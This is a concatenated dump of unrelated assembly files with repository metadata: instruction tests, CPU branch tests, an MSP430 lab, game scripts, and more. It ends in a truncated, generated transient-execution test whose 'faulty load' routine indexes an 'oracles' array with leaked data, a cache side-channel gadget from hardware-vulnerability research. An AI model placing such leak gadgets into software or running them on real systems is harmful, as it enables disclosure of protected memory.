PTR [rsp+80] add bl, BYTE PTR [rsp+80] adc rbx, QWORD PTR [rsp+80] adc ebx, DWORD PTR [rsp+80] adc bx, WORD PTR [rsp+80] adc bl, BYTE PTR [rsp+80] sub rbx, QWORD PTR [rsp+80] sub ebx, DWORD PTR [rsp+80] sub bx, WORD PTR [rsp+80] sub bl, BYTE PTR [rsp+80] sbb rbx, QWORD PTR [rsp+80] sbb ebx, DWORD PTR [rsp+80] sbb bx, WORD PTR [rsp+80] sbb bl, BYTE PTR [rsp+80] xor rbx, QWORD PTR [rsp+80] xor ebx, DWORD PTR [rsp+80] xor bx, WORD PTR [rsp+80] xor bl, BYTE PTR [rsp+80] or rbx, QWORD PTR [rsp+80] or ebx, DWORD PTR [rsp+80] or bx, WORD PTR [rsp+80] or bl, BYTE PTR [rsp+80] movzx rbx, WORD PTR [rsp+80] movzx rbx, BYTE PTR [rsp+80] movzx bx, BYTE PTR [rsp+80] movzx ebx, BYTE PTR [rsp+80] movsx rbx, WORD PTR [rsp+80] movsx rbx, BYTE PTR [rsp+80] movsx bx, BYTE PTR [rsp+80] movsx ebx, BYTE PTR [rsp+80] mov rbx, QWORD PTR[rsp] mov rcx, QWORD PTR[rsp+8] add rsp, 16 pop rdi pop rsi pop rbx ret Analysis_func_reg_overwrite ENDP end
35.097222
72
0.561799
0c4d2733d2efd04dcb9254524c596f93e11f03a8
271
asm
Assembly
asm/0110_BRZ.asm
barrettotte/angstrom-cpu
f49cf9a60c0a20fffad55839b31bb444977706b2
[ "MIT" ]
null
null
null
asm/0110_BRZ.asm
barrettotte/angstrom-cpu
f49cf9a60c0a20fffad55839b31bb444977706b2
[ "MIT" ]
null
null
null
asm/0110_BRZ.asm
barrettotte/angstrom-cpu
f49cf9a60c0a20fffad55839b31bb444977706b2
[ "MIT" ]
null
null
null
; branch if zero LDI #0 ; 00010000 00000000 0x1000 ADI #1 ; 10000000 00000001 0x8001 BRZ #0x0 ; 01100000 00000000 0x6000 LDI #0 ; 00010000 00000000 0x1000 ADI #0 ; 10000000 00000000 0x8000 BRZ #0x0 ; 01100000 00000000 0x6000
27.1
41
0.634686
4b26fcdb3e6803732bfef7e4bd3f182b2a083e29
1,708
asm
Assembly
src/spread/act/digit.asm
olifink/qspread
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
[ "MIT" ]
null
null
null
src/spread/act/digit.asm
olifink/qspread
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
[ "MIT" ]
null
null
null
src/spread/act/digit.asm
olifink/qspread
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
[ "MIT" ]
null
null
null
* spread Tue, 1993 May 25 20:04:53 * - digit pulldown include win1_keys_wman include win1_keys_wstatus include win1_keys_wwork include win1_keys_wdef_long include win1_keys_qdos_pt include win1_spread_keys include win1_mac_oli section prog xdef pld_digt,mea_digt,ini_digt xref.l mv_digt,mli.dig0,mli.dig9 xref.l wwa.digt,wst_digt section prog ini_digt subr a0/a1 lea mv_digt(a6),a0 xlea cfg_dig0,a1 xjsr ut_cpyst adda.w #30,a0 xlea cfg_dig1,a1 xjsr ut_cpyst adda.w #30,a0 xlea cfg_dig2,a1 xjsr ut_cpyst adda.w #30,a0 xlea cfg_dig3,a1 xjsr ut_cpyst adda.w #30,a0 xlea cfg_dig4,a1 xjsr ut_cpyst adda.w #30,a0 xlea cfg_dig5,a1 xjsr ut_cpyst adda.w #30,a0 xlea cfg_dig6,a1 xjsr ut_cpyst adda.w #30,a0 xlea cfg_dig7,a1 xjsr ut_cpyst adda.w #30,a0 xlea cfg_dig8,a1 xjsr ut_cpyst adda.w #30,a0 xlea cfg_dig9,a1 xjsr ut_cpyst subend ; setup, draw, read and then unset menu ; (returns with k.cancel/k.do in d4, according to do/quit) r_pld reg a0-a5/d1-d3 pld_digt movem.l r_pld,-(sp) move.l wsp_xpos(a1),d4 ; uncomment if fixed add.l ww_xorg(a4),d4 ; position is required move.l #wwa.digt,d1 moveq #0,d2 ; use default size lea wst_digt(a6),a1 xlea men_digt,a3 lea cwy_digt(pc),a4 ; setup postprocessing suba.l a5,a5 ; draw postprocessing xjsr ut_pullf ; (or use ut_pullf) tst.l d0 movem.l (sp)+,r_pld rts cwy_digt subr d0/d1/a1 ; convert colourway moveq #0,d0 ;;; move.b colm(a6),d0 ;;; xjsr ut_ccwwd moveq #mli.dig0,d1 lea mv_digt(a6),a1 lp1 jsr wm.stlob(a2) adda.w #30,a1 addq.w #1,d1 cmpi.w #mli.dig9+1,d1 bne.s lp1 subend mea_digt xjsr edt_strg moveq #0,d0 moveq #0,d4 rts end
13.774194
58
0.710187
ab8cd01513ad417457567b27dadc91a1be46bfc2
4,016
asm
Assembly
Lab5/Lab5.asm
jaibae21/CPE325_F2021
90e9746ba21a8f1ce617abdae35ca2ef1422ce7a
[ "MIT" ]
null
null
null
Lab5/Lab5.asm
jaibae21/CPE325_F2021
90e9746ba21a8f1ce617abdae35ca2ef1422ce7a
[ "MIT" ]
null
null
null
Lab5/Lab5.asm
jaibae21/CPE325_F2021
90e9746ba21a8f1ce617abdae35ca2ef1422ce7a
[ "MIT" ]
null
null
null
;------------------------------------------------------------------------------- ; Author: Jaiden Gann ; Lab Section: 03 ; Date: 9/17/21 ; File: Lab4_Q1.c ; Program: Count Symbols in String ; Input: Input string specified in myStr ; Output: Register 5 holds the symbol count ; Description: This assembly program counts the number of symbols excluding ; characters and numerals by comparing each character in the string ; to see if it falls in the range of wanted characters ;------------------------------------------------------------------------------- .cdecls C,LIST,"msp430.h" ; Include device header file ;------------------------------------------------------------------------------- .def RESET ; Export program entry-point to ; make it known to linker. .data symb_count: .int 0; myStr: .string "H! #money$", '' ;expected count 4 (counts space) ;------------------------------------------------------------------------------- .text ; Assemble into program memory. .retain ; Override ELF conditional linking ; and retain current section. .retainrefs ; And retain any sections that have ; references to current section. ;------------------------------------------------------------------------------- RESET: mov.w #__STACK_END,SP ; Initialize stackpointer mov.w #WDTPW|WDTHOLD,&WDTCTL ; Stop watchdog timer ;------------------------------------------------------------------------------- ; Main loop here ;------------------------------------------------------------------------------- main: mov.w #myStr, R4 ;puts string in R4 mov.w #symb_count, R5 ;places counter in R5 clr.w R5 ;register for counter gnext: mov.b @R4+, R6 ;increment, get character put in R6 cmp #0, R6 ; check for NULL jeq lend ; if NULL go to lend subroutine ;Notes: want everything below 0 and above z ;want between Z and a and want between 9 and A ;;everything below 0 cmp.b #'0', R6 ;check if number (low end) jl counter_up ;jump to counter_up if less than 0 ;everything above z cmp.b #'{', R6 ;z is the last/highest character in Hex ;thus the next character,{, if greater or equal jge counter_up ;jump to counter_up if greater or equal to { ;between Z and a cmp.b #'a', R6 ;check to see if a jl capitalZ_check ;if less than 'a' jump to capital Z check ;between 9 and A cmp.b #':', R6 ;check if above range of number jge capitalA_check ;if greater than or equal to : jump to A check capitalZ_check: cmp.b #'[', R6 ;[ is one up from Z, checking for that jge counter_up ;if greater than or equal to [ jump to symb ;because we tested for anything below a (61h) jmp gnext ;else look at next character capitalA_check: cmp.b #'A', R6 ;check if a capital A jl counter_up ;if less than jump to symb count ;because we've already tested that we're above 9 jmp gnext ;else look at next character counter_up: inc.w R5 ;increment the counter jmp gnext ;starts process again lend: ;mov.w R5,&counter_up ;memory address of counter_up gets contents of R5 nop ;------------------------------------------------------------------------------- ; Stack Pointer definition ;------------------------------------------------------------------------------- .global __STACK_END .sect .stack ;------------------------------------------------------------------------------- ; Interrupt Vectors ;------------------------------------------------------------------------------- .sect ".reset" ; MSP430 RESET Vector .short RESET .end
45.636364
80
0.464392
3f73d5479f651ad9b53bcec34e73d124825b2c9c
1,266
asm
Assembly
libsrc/_DEVELOPMENT/math/float/am9511/asm/z80/am32_popl.asm
ped7g/z88dk
66e3126078063bc5942aed4726ab2cf2bee7f2ea
[ "ClArtistic" ]
1
2022-03-08T11:55:58.000Z
2022-03-08T11:55:58.000Z
libsrc/_DEVELOPMENT/math/float/am9511/asm/z80/am32_popl.asm
litwr2/z88dk
13e55c9be0dfe79684caf901b15ac3d4ae2dc0f0
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/math/float/am9511/asm/z80/am32_popl.asm
litwr2/z88dk
13e55c9be0dfe79684caf901b15ac3d4ae2dc0f0
[ "ClArtistic" ]
null
null
null
; ; Copyright (c) 2020 Phillip Stevens ; ; This Source Code Form is subject to the terms of the Mozilla Public ; License, v. 2.0. If a copy of the MPL was not distributed with this ; file, You can obtain one at http://mozilla.org/MPL/2.0/. ; ; feilipu, August 2020 ; ;------------------------------------------------------------------------- ; asm_am9511_popl - am9511 APU pop long ;------------------------------------------------------------------------- ; ; Load long from Am9511 APU stack ; ;------------------------------------------------------------------------- SECTION code_fp_am9511 EXTERN __IO_APU_STATUS, __IO_APU_DATA PUBLIC asm_am9511_popl .am9511_popl_wait ex (sp),hl ex (sp),hl .asm_am9511_popl ; float primitive ; pop a long from the Am9511 stack. ; ; enter : stack = ret0 ; ; exit : dehl = long ; ; uses : af, bc, de, hl in a,(__IO_APU_STATUS) ; read the APU status register rlca ; busy? and __IO_APU_STATUS_BUSY jr C,am9511_popl_wait ld bc,__IO_APU_DATA ; the address of the APU data port in bc in d,(c) ; load MSW from APU in e,(c) in h,(c) ; load LSW from APU in l,(c) ret
24.823529
74
0.49763
84cc184745df4152250fb992e7480d41c3e5d1c7
1,723
asm
Assembly
programs/oeis/017/A017214.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/017/A017214.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/017/A017214.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A017214: a(n) = (9*n + 4)^6. ; 4096,4826809,113379904,887503681,4096000000,13841287201,38068692544,90458382169,192699928576,377149515625,689869781056,1194052296529,1973822685184,3138428376721,4826809000000,7212549413161,10509215371264,14976071831449,20924183895616,28722900390625,38806720086016,51682540549249,67937289638464,88245939632761,113379904000000,144215816802121,181744694737984,227081481823729,281474976710656,346318142640625,423158800038976,513710701744969,619864990879744,743702041351801,887503681000000,1053765797374081,1245211326152704,1464803622199009,1715760213253696,2001566936265625,2325992456359936,2693103168443689,3107278481449024,3573226485213841,4096000000000000,4681013008649041,5334057471375424,6061320523197289,6869402054004736,7765332671265625,8756592045368896,9851127637605409,11057373810786304,12384271322498881,13841287201000000,15438435003747001,17186295458566144,19096037487458569,21179439613043776,23448911747640625,25917517364985856,28598996054590129,31507786458731584,34659049592086921,38068692544000000,41753392563387961,45730621526284864,50018670786022849,54636676406050816,59604644775390625,64943478606730816,70675003317157849,76821993791524864,83408201528457961,90458382169000000,97998323407891921,106054873287491584,114655968874330129,123830665318305856,133609165294515625,144022848827723776,155104303499468569,166887355037806144,179407098289692001,192699928576000000,206803573429178881,221757124713546304,237601071128220409,254377331092688896,272129286015015625,290901813942684736,310741323596082289,331695788784615424,353814783205469041,377149515625000000,401752865442768841,427679418638209024,454985504099933689,483729230337679936,513970522576890625 mul $0,9 add $0,4 pow $0,6
246.142857
1,663
0.922809
cecbbf5640d947f8ba0d8de97cfc44e43dab2fc6
415
asm
Assembly
programs/oeis/074/A074232.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/074/A074232.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/074/A074232.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A074232: Positive numbers that are not 3 or 6 (mod 9). ; 1,2,4,5,7,8,9,10,11,13,14,16,17,18,19,20,22,23,25,26,27,28,29,31,32,34,35,36,37,38,40,41,43,44,45,46,47,49,50,52,53,54,55,56,58,59,61,62,63,64,65,67,68,70,71,72,73,74,76,77,79,80,81,82,83,85,86,88,89,90,91 mov $2,$0 sub $0,1 add $2,1 mov $1,$2 lpb $0 sub $0,2 mov $2,$0 trn $0,1 trn $2,$0 trn $0,4 add $3,1 add $3,$2 lpe add $1,$3 mov $0,$1
21.842105
207
0.595181
486b68acae78aa024ca9c33d3c266df0d7443d35
3,479
asm
Assembly
scripts/SilphCo4F.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
1
2022-02-15T00:19:44.000Z
2022-02-15T00:19:44.000Z
scripts/SilphCo4F.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
scripts/SilphCo4F.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
SilphCo4F_Script: call SilphCo4Script_19d21 call EnableAutoTextBoxDrawing ld hl, SilphCo4TrainerHeaders ld de, SilphCo4F_ScriptPointers ld a, [wSilphCo4FCurScript] call ExecuteCurMapScriptInTable ld [wSilphCo4FCurScript], a ret SilphCo4Script_19d21: ld hl, wCurrentMapScriptFlags bit 5, [hl] res 5, [hl] ret z ld hl, SilphCo4GateCoords call SilphCo4Script_19d5d call SilphCo4Script_19d89 CheckEvent EVENT_SILPH_CO_4_UNLOCKED_DOOR1 jr nz, .asm_19d48 push af ld a, $54 ld [wNewTileBlockID], a lb bc, 6, 2 predef ReplaceTileBlock pop af .asm_19d48 CheckEventAfterBranchReuseA EVENT_SILPH_CO_4_UNLOCKED_DOOR2, EVENT_SILPH_CO_4_UNLOCKED_DOOR1 ret nz ld a, $54 ld [wNewTileBlockID], a lb bc, 4, 6 predef_jump ReplaceTileBlock SilphCo4GateCoords: dbmapcoord 2, 6 dbmapcoord 6, 4 db -1 ; end SilphCo4Script_19d5d: push hl ld hl, wCardKeyDoorY ld a, [hli] ld b, a ld a, [hl] ld c, a xor a ldh [hUnlockedSilphCoDoors], a pop hl .asm_19d69 ld a, [hli] cp $ff jr z, .asm_19d85 push hl ld hl, hUnlockedSilphCoDoors inc [hl] pop hl cp b jr z, .asm_19d7a inc hl jr .asm_19d69 .asm_19d7a ld a, [hli] cp c jr nz, .asm_19d69 ld hl, wCardKeyDoorY xor a ld [hli], a ld [hl], a ret .asm_19d85 xor a ldh [hUnlockedSilphCoDoors], a ret SilphCo4Script_19d89: EventFlagAddress hl, EVENT_SILPH_CO_4_UNLOCKED_DOOR1 ldh a, [hUnlockedSilphCoDoors] and a ret z cp $1 jr nz, .next SetEventReuseHL EVENT_SILPH_CO_4_UNLOCKED_DOOR1 ret .next SetEventAfterBranchReuseHL EVENT_SILPH_CO_4_UNLOCKED_DOOR2, EVENT_SILPH_CO_4_UNLOCKED_DOOR1 ret SilphCo4F_ScriptPointers: dw CheckFightingMapTrainers dw DisplayEnemyTrainerTextAndStartBattle dw EndTrainerBattle SilphCo4F_TextPointers: dw SilphCo4Text1 dw SilphCo4Text2 dw SilphCo4Text3 dw SilphCo4Text4 dw PickUpItemText dw PickUpItemText dw PickUpItemText SilphCo4TrainerHeaders: def_trainers 2 SilphCo4TrainerHeader0: trainer EVENT_BEAT_SILPH_CO_4F_TRAINER_0, 4, SilphCo4BattleText2, SilphCo4EndBattleText2, SilphCo4AfterBattleText2 SilphCo4TrainerHeader1: trainer EVENT_BEAT_SILPH_CO_4F_TRAINER_1, 3, SilphCo4BattleText3, SilphCo4EndBattleText3, SilphCo4AfterBattleText3 SilphCo4TrainerHeader2: trainer EVENT_BEAT_SILPH_CO_4F_TRAINER_2, 4, SilphCo4BattleText4, SilphCo4EndBattleText4, SilphCo4AfterBattleText4 db -1 ; end SilphCo4Text1: text_asm ld hl, SilphCo4Text_19de0 ld de, SilphCo4Text_19de5 call SilphCo6Script_1a22f jp TextScriptEnd SilphCo4Text_19de0: text_far _SilphCo4Text_19de0 text_end SilphCo4Text_19de5: text_far _SilphCo4Text_19de5 text_end SilphCo4Text2: text_asm ld hl, SilphCo4TrainerHeader0 call TalkToTrainer jp TextScriptEnd SilphCo4BattleText2: text_far _SilphCo4BattleText2 text_end SilphCo4EndBattleText2: text_far _SilphCo4EndBattleText2 text_end SilphCo4AfterBattleText2: text_far _SilphCo4AfterBattleText2 text_end SilphCo4Text3: text_asm ld hl, SilphCo4TrainerHeader1 call TalkToTrainer jp TextScriptEnd SilphCo4BattleText3: text_far _SilphCo4BattleText3 text_end SilphCo4EndBattleText3: text_far _SilphCo4EndBattleText3 text_end SilphCo4AfterBattleText3: text_far _SilphCo4AfterBattleText3 text_end SilphCo4Text4: text_asm ld hl, SilphCo4TrainerHeader2 call TalkToTrainer jp TextScriptEnd SilphCo4BattleText4: text_far _SilphCo4BattleText4 text_end SilphCo4EndBattleText4: text_far _SilphCo4EndBattleText4 text_end SilphCo4AfterBattleText4: text_far _SilphCo4AfterBattleText4 text_end
19.220994
115
0.8238
09c546b91e3546ce12ad0174819e3a495c2ae450
335
asm
Assembly
programs/oeis/057/A057979.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/057/A057979.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/057/A057979.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A057979: a(n) = 1 for even n and (n-1)/2 for odd n. ; 1,0,1,1,1,2,1,3,1,4,1,5,1,6,1,7,1,8,1,9,1,10,1,11,1,12,1,13,1,14,1,15,1,16,1,17,1,18,1,19,1,20,1,21,1,22,1,23,1,24,1,25,1,26,1,27,1,28,1,29,1,30,1,31,1,32,1,33,1,34,1,35,1,36,1,37,1,38,1,39,1,40,1,41,1,42,1,43,1,44,1,45,1,46,1,47,1,48,1,49 mov $1,$0 div $0,2 mod $1,2 pow $0,$1
41.875
241
0.570149
5df465847067f94a9e4d8907f217659e1e7c2a32
613
asm
Assembly
programs/oeis/277/A277369.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/277/A277369.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/277/A277369.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A277369: a(0) = 5, a(1) = 8; for n>1, a(n) = 2*a(n-1) + a(n-2). ; 5,8,21,50,121,292,705,1702,4109,9920,23949,57818,139585,336988,813561,1964110,4741781,11447672,27637125,66721922,161080969,388883860,938848689,2266581238,5472011165,13210603568,31893218301,76997040170,185887298641,448771637452,1083430573545,2615632784542,6314696142629,15245025069800,36804746282229,88854517634258,214513781550745,517882080735748,1250277943022241,3018437966780230,7287153876582701 mov $1,5 mov $2,$0 lpb $2 add $3,$1 mov $4,$1 mov $5,$1 lpb $5 mov $1,$3 add $1,3 trn $5,$3 add $3,$4 lpe sub $2,1 lpe
34.055556
398
0.729201
9eeac6865db52a86a159a20e76719b10dbd2f99c
835
asm
Assembly
libsrc/genmath/unpack.asm
dex4er/deb-z88dk
9ee4f23444fa6f6043462332a1bff7ae20a8504b
[ "ClArtistic" ]
1
2018-09-04T23:07:24.000Z
2018-09-04T23:07:24.000Z
libsrc/genmath/unpack.asm
dex4er/deb-z88dk
9ee4f23444fa6f6043462332a1bff7ae20a8504b
[ "ClArtistic" ]
null
null
null
libsrc/genmath/unpack.asm
dex4er/deb-z88dk
9ee4f23444fa6f6043462332a1bff7ae20a8504b
[ "ClArtistic" ]
null
null
null
; ; Z88dk Generic Floating Point Math Library ; ; Unpack FP number ; ; $Id: unpack.asm,v 1.1 2002/01/21 20:35:22 dom Exp $: XLIB unpack XREF fa .UNPACK LD HL,FA+4 LD A,(HL) ;get MSB of fraction RLCA ;rotate sign bit into lsb SCF ;set carry RRA ;rotate sign bit into cy, cy into msb LD (HL),A ;restore MSB (with hidden bit restored) CCF ;complement sign bit... RRA INC HL INC HL LD (HL),A ;...and save in msb of FASIGN LD A,C ;similarly, get sign bit of bc ix de... RLCA SCF RRA LD C,A ;...restore hidden bit... RRA XOR (HL) ;...and compare with sign of FA. RET
25.30303
63
0.464671
d9ac83ff34c46a29d9b07f76e245f4f43804d9c9
2,061
asm
Assembly
boot1/check_mem.asm
hyfloac/Kernel
f4a8a97651abcfd4419015046440d1017546f6bf
[ "MIT" ]
null
null
null
boot1/check_mem.asm
hyfloac/Kernel
f4a8a97651abcfd4419015046440d1017546f6bf
[ "MIT" ]
null
null
null
boot1/check_mem.asm
hyfloac/Kernel
f4a8a97651abcfd4419015046440d1017546f6bf
[ "MIT" ]
null
null
null
[BITS 16] global memory_table_size MAGIC_SMAP equ 0x534D4150 ; The magic number "SMAP" check_mem: mov ax, 0x4000 ; The table will be at 0x40008, so the segment will be 0x4000 mov es, ax mov di, 0x0008 ; The table will be at 0x40008 for 8 byte alignment xor ebx, ebx xor bp, bp ; The table entry count mov edx, MAGIC_SMAP ; Store magic word "SMAP" mov eax, 0xE820 mov [es:di + 20], dword 1 ; Force ACPI 3.X entry mov ecx, 24 ; Attempt to get 24 byte entries int 0x15 jc .failed mov edx, MAGIC_SMAP ; Some BIOS's may trash this register. cmp eax, edx ; On success EAX will be set to "SMAP" jne .failed test ebx, ebx ; If ebx == 0 there is only 1 entry jz .failed jmp .jmpin .e820lp: test ebx, ebx ; If EBX is 0, list is complete jz .e820f mov eax, 0xE820 ; EAX and ECX are volatile for int 0x15 mov [es:di + 20], dword 1 ; Force ACPI 3.X Entry mov ecx, 24 ; Attempt to get 24 byte entries int 0x15 jc .e820f ; Carry set means "end of list already reached" mov edx, MAGIC_SMAP ; Some BIOS's may trash this register .jmpin: jcxz .e820lp ; Skip 0 length entries cmp cl, 24 ; Was the entry 24 bytes je .ext_ent .handle_ent: mov ecx, [es:di + 8] ; Get lower u32 of memory region length or ecx, [es:di + 12] ; Or it is with the upper 32 bits to test for zero jz .e820lp inc bp ; Increment valid entry count add di, 24 jmp .e820lp .ext_ent: test byte [es:di + 20], 1 ; Should this entry be ignored? jne .handle_ent jmp .e820lp .e820f: mov [es:0x0], bp ; Store the table count at 0x40000 clc ; Success ret .failed: mov [es:0x0], word 0xFFFF stc ; Function unsupported ret
30.761194
93
0.548763
97d5d0dda2ae2afddc42c67cd4189167bfb73947
234
asm
Assembly
libsrc/_DEVELOPMENT/arch/zx/esxdos/c/sdcc_iy/errno_from_esxdos.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/arch/zx/esxdos/c/sdcc_iy/errno_from_esxdos.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/arch/zx/esxdos/c/sdcc_iy/errno_from_esxdos.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; uchar errno_from_esxdos(uchar code) SECTION code_clib SECTION code_esxdos PUBLIC _errno_from_esxdos EXTERN asm_errno_from_esxdos _errno_from_esxdos: pop af pop hl push hl push af jp asm_errno_from_esxdos
12.315789
37
0.764957
2dd0410c88e7e477389f9fd7869663230c3a270a
1,991
asm
Assembly
scripts/WardensHouse.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
1
2022-02-15T00:19:44.000Z
2022-02-15T00:19:44.000Z
scripts/WardensHouse.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
scripts/WardensHouse.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
WardensHouse_Script: jp EnableAutoTextBoxDrawing WardensHouse_TextPointers: dw FuchsiaHouse2Text1 dw PickUpItemText dw BoulderText dw FuchsiaHouse2Text4 dw FuchsiaHouse2Text5 FuchsiaHouse2Text1: text_asm CheckEvent EVENT_GOT_HM04 jr nz, .got_item ld b, GOLD_TEETH call IsItemInBag jr nz, .have_gold_teeth CheckEvent EVENT_GAVE_GOLD_TEETH jr nz, .gave_gold_teeth ld hl, WardenGibberishText1 call PrintText call YesNoChoice ld a, [wCurrentMenuItem] and a ld hl, WardenGibberishText3 jr nz, .refused ld hl, WardenGibberishText2 .refused call PrintText jr .done .have_gold_teeth ld hl, WardenTeethText1 call PrintText ld a, GOLD_TEETH ldh [hItemToRemoveID], a farcall RemoveItemByID SetEvent EVENT_GAVE_GOLD_TEETH .gave_gold_teeth ld hl, WardenThankYouText call PrintText lb bc, HM_STRENGTH, 1 call GiveItem jr nc, .bag_full ld hl, ReceivedHM04Text call PrintText SetEvent EVENT_GOT_HM04 jr .done .got_item ld hl, HM04ExplanationText call PrintText jr .done .bag_full ld hl, HM04NoRoomText call PrintText .done jp TextScriptEnd WardenGibberishText1: text_far _WardenGibberishText1 text_end WardenGibberishText2: text_far _WardenGibberishText2 text_end WardenGibberishText3: text_far _WardenGibberishText3 text_end WardenTeethText1: text_far _WardenTeethText1 sound_get_item_1 WardenTeethText2: text_far _WardenTeethText2 text_end WardenThankYouText: text_far _WardenThankYouText text_end ReceivedHM04Text: text_far _ReceivedHM04Text sound_get_item_1 text_end HM04ExplanationText: text_far _HM04ExplanationText text_end HM04NoRoomText: text_far _HM04NoRoomText text_end FuchsiaHouse2Text5: FuchsiaHouse2Text4: text_asm ldh a, [hSpriteIndex] cp $4 ld hl, FuchsiaHouse2Text_7517b jr nz, .asm_4c9a2 ld hl, FuchsiaHouse2Text_75176 .asm_4c9a2 call PrintText jp TextScriptEnd FuchsiaHouse2Text_75176: text_far _FuchsiaHouse2Text_75176 text_end FuchsiaHouse2Text_7517b: text_far _FuchsiaHouse2Text_7517b text_end
17.464912
34
0.831241
93e40272925dfd1a5c5056aa375716cbef5f102f
5,014
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_un_/i9-9900K_12_0xa0_notsx.log_21829_1464.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_un_/i9-9900K_12_0xa0_notsx.log_21829_1464.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_un_/i9-9900K_12_0xa0_notsx.log_21829_1464.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x14ff, %rdx nop and $54824, %r12 mov $0x6162636465666768, %rax movq %rax, %xmm7 vmovups %ymm7, (%rdx) nop and %rax, %rax lea addresses_WC_ht+0x1260b, %rsi lea addresses_D_ht+0xabdb, %rdi nop nop sub %r10, %r10 mov $3, %rcx rep movsb nop nop nop cmp $39842, %rdx lea addresses_A_ht+0x1e1db, %rdx nop nop nop nop nop add $22528, %rdi movups (%rdx), %xmm0 vpextrq $0, %xmm0, %r10 nop nop nop sub %r12, %r12 lea addresses_WC_ht+0x111c3, %rdx nop nop nop nop cmp %r10, %r10 movb $0x61, (%rdx) nop nop nop nop nop add %rdx, %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r15 push %r9 push %rax push %rdi push %rsi // Faulty Load lea addresses_US+0x1a3db, %r9 nop xor $42495, %rdi vmovntdqa (%r9), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $0, %xmm2, %rsi lea oracles, %rdi and $0xff, %rsi shlq $12, %rsi mov (%rdi,%rsi,1), %rsi pop %rsi pop %rdi pop %rax pop %r9 pop %r15 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_US', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_US', 'AVXalign': False, 'size': 32, 'NT': True, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 1}} {'src': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}} {'src': {'type': 